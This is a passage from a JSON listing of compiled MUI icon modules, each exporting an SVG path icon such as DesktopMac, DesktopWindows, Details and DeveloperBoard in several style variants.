    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 16c0 1.1-.9 2-2 2h-1l-2-2h3V4H6L4 2h17c1.1 0 2 .9 2 2zm-5.5 2-2-2zm-2.6 0 6 6 1.3-1.3-4.7-4.7-2-2L1.2 1.8 0 3.1l1 1V16c0 1.1.9 2 2 2h7v2H8v2h8v-2h-2v-2zM3 16V6.1l9.9 9.9z\"\n}), 'DesktopAccessDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopAccessDisabledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.41 1.69 0 3.1l1 .99V16c0 1.1.89 2 1.99 2H10v2H8v2h8v-2h-2v-2h.9l6 6 1.41-1.41zM2.99 16V6.09L12.9 16zM4.55 2l2 2H21v12h-2.45l2 2h.44c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2z\"\n}), 'DesktopAccessDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopAccessDisabledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.41 1.69 0 3.1l1 .99V16c0 1.1.89 2 1.99 2H10v2H8v2h8v-2h-2v-2h.9l6 6 1.41-1.41zM2.99 16V6.09L12.9 16zM4.55 2l2 2H21v12h-2.45l2 2h.44c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2z\"\n}), 'DesktopAccessDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopAccessDisabledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M.31 2c-.39.39-.39 1.02 0 1.41l.69.68V16c0 1.1.9 2 2 2h7v2H9c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2h.9l5.29 5.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L1.72 2A.996.996 0 0 0 .31 2m2.68 13V6.09L12.9 16H3.99c-.55 0-1-.45-1-1M4.55 2l2 2H20c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1h-1.45l2 2h.44c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2z\"\n}), 'DesktopAccessDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopAccessDisabledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M.31 2c-.39.39-.39 1.02 0 1.41l.69.68V16c0 1.1.9 2 2 2h7v2H9c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2h.9l5.29 5.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L1.72 2A.996.996 0 0 0 .31 2m2.68 13V6.09L12.9 16H3.99c-.55 0-1-.45-1-1M4.55 2l2 2H20c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1h-1.45l2 2h.44c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2z\"\n}), 'DesktopAccessDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopAccessDisabledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.41 1.69 0 3.1l1 .99V18h9v2H8v2h8v-2h-2v-2h.9l6 6 1.41-1.41zM2.99 16V6.09L12.9 16zM4.55 2l2 2H21v12h-2.45l2 2h2.44V2z\"\n}), 'DesktopAccessDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopAccessDisabledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.41 1.69 0 3.1l1 .99V18h9v2H8v2h8v-2h-2v-2h.9l6 6 1.41-1.41zM2.99 16V6.09L12.9 16zM4.55 2l2 2H21v12h-2.45l2 2h2.44V2z\"\n}), 'DesktopAccessDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopAccessDisabledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.41 1.69 0 3.1l1 .99V16c0 1.1.89 2 1.99 2H10v2H8v2h8v-2h-2v-2h.9l6 6 1.41-1.41zM2.99 16V6.09L12.9 16zM4.55 2l2 2H21v12h-2.45l2 2h.44c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.99 6.09V16h9.91zM6.55 4l12 12H21V4z\",\n  opacity: \".3\"\n}, \"1\")], 'DesktopAccessDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopAccessDisabledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.41 1.69 0 3.1l1 .99V16c0 1.1.89 2 1.99 2H10v2H8v2h8v-2h-2v-2h.9l6 6 1.41-1.41zM2.99 16V6.09L12.9 16zM4.55 2l2 2H21v12h-2.45l2 2h.44c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.99 6.09V16h9.91zM6.55 4l12 12H21V4z\",\n  opacity: \".3\"\n}, \"1\")], 'DesktopAccessDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopMac.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h6l-2 2v1h8v-1l-2-2h6c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'DesktopMac');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopMac.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h6l-2 2v1h8v-1l-2-2h6c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'DesktopMac');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopMacOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7l-2 3v1h8v-1l-2-3h7c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 12H3V4h18z\"\n}), 'DesktopMacOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopMacOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7l-2 3v1h8v-1l-2-3h7c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 12H3V4h18z\"\n}), 'DesktopMacOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopMacRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7l-1.63 2.45c-.44.66.03 1.55.83 1.55h5.6c.8 0 1.28-.89.83-1.55L14 18h7c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 12H3V5c0-.55.45-1 1-1h16c.55 0 1 .45 1 1z\"\n}), 'DesktopMacRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopMacRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7l-1.63 2.45c-.44.66.03 1.55.83 1.55h5.6c.8 0 1.28-.89.83-1.55L14 18h7c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 12H3V5c0-.55.45-1 1-1h16c.55 0 1 .45 1 1z\"\n}), 'DesktopMacRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopMacSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 2H1v16h9l-2 3v1h8v-1l-2-3h9zm-2 12H3V4h18z\"\n}), 'DesktopMacSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopMacSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 2H1v16h9l-2 3v1h8v-1l-2-3h9zm-2 12H3V4h18z\"\n}), 'DesktopMacSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopMacTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 4h18v10H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7l-2 3v1h8v-1l-2-3h7c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 12H3V4h18z\"\n}, \"1\")], 'DesktopMacTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopMacTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 4h18v10H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7l-2 3v1h8v-1l-2-3h7c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 12H3V4h18z\"\n}, \"1\")], 'DesktopMacTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopWindows.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6v2H8v2h8v-2h-2v-2h6c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'DesktopWindows');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopWindows.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6v2H8v2h8v-2h-2v-2h6c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'DesktopWindows');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopWindowsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7v2H8v2h8v-2h-2v-2h7c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H3V4h18z\"\n}), 'DesktopWindowsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopWindowsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7v2H8v2h8v-2h-2v-2h7c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H3V4h18z\"\n}), 'DesktopWindowsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopWindowsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7v2H9c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2h7c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1\"\n}), 'DesktopWindowsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopWindowsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7v2H9c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1h-1v-2h7c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1\"\n}), 'DesktopWindowsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopWindowsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 2H1v16h9v2H8v2h8v-2h-2v-2h9zm-2 14H3V4h18z\"\n}), 'DesktopWindowsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopWindowsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 2H1v16h9v2H8v2h8v-2h-2v-2h9zm-2 14H3V4h18z\"\n}), 'DesktopWindowsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopWindowsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 4h18v12H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7v2H8v2h8v-2h-2v-2h7c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H3V4h18z\"\n}, \"1\")], 'DesktopWindowsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DesktopWindowsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 4h18v12H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h7v2H8v2h8v-2h-2v-2h7c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H3V4h18z\"\n}, \"1\")], 'DesktopWindowsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Details.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 2 21h20zm1 5.92L18.6 19H13zm-2 0V19H5.4z\"\n}), 'Details');"
  },
  {
    "path": "packages/mui-icons-material/lib/Details.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 2 21h20zm1 5.92L18.6 19H13zm-2 0V19H5.4z\"\n}), 'Details');"
  },
  {
    "path": "packages/mui-icons-material/lib/DetailsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 2 21h20zm1 5.92L18.6 19H13zm-2 0V19H5.4z\"\n}), 'DetailsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DetailsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 2 21h20zm1 5.92L18.6 19H13zm-2 0V19H5.4z\"\n}), 'DetailsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DetailsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.13 4.57-8.3 14.94c-.37.67.11 1.49.87 1.49h16.6c.76 0 1.24-.82.87-1.49l-8.3-14.94c-.38-.68-1.36-.68-1.74 0M13 8.92 18.6 19H13zm-2 0V19H5.4z\"\n}), 'DetailsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DetailsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.13 4.57-8.3 14.94c-.37.67.11 1.49.87 1.49h16.6c.76 0 1.24-.82.87-1.49l-8.3-14.94c-.38-.68-1.36-.68-1.74 0M13 8.92 18.6 19H13zm-2 0V19H5.4z\"\n}), 'DetailsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DetailsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 2 21h20zm1 5.92L18.6 19H13zm-2 0V19H5.4z\"\n}), 'DetailsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DetailsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 2 21h20zm1 5.92L18.6 19H13zm-2 0V19H5.4z\"\n}), 'DetailsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DetailsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8.92 18.6 19H13zm-2 0V19H5.4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 2 21h20zm1 5.92L18.6 19H13zm-2 0V19H5.4z\"\n}, \"1\")], 'DetailsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DetailsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8.92 18.6 19H13zm-2 0V19H5.4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 2 21h20zm1 5.92L18.6 19H13zm-2 0V19H5.4z\"\n}, \"1\")], 'DetailsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoard.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9V7h-2V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-2h2v-2h-2v-2h2v-2h-2V9zm-4 10H4V5h14zM6 13h5v4H6zm6-6h4v3h-4zM6 7h5v5H6zm6 4h4v6h-4z\"\n}), 'DeveloperBoard');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoard.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9V7h-2V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-2h2v-2h-2v-2h2v-2h-2V9zm-4 10H4V5h14zM6 13h5v4H6zm6-6h4v3h-4zM6 7h5v5H6zm6 4h4v6h-4z\"\n}), 'DeveloperBoard');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeveloperBoardOff.js",
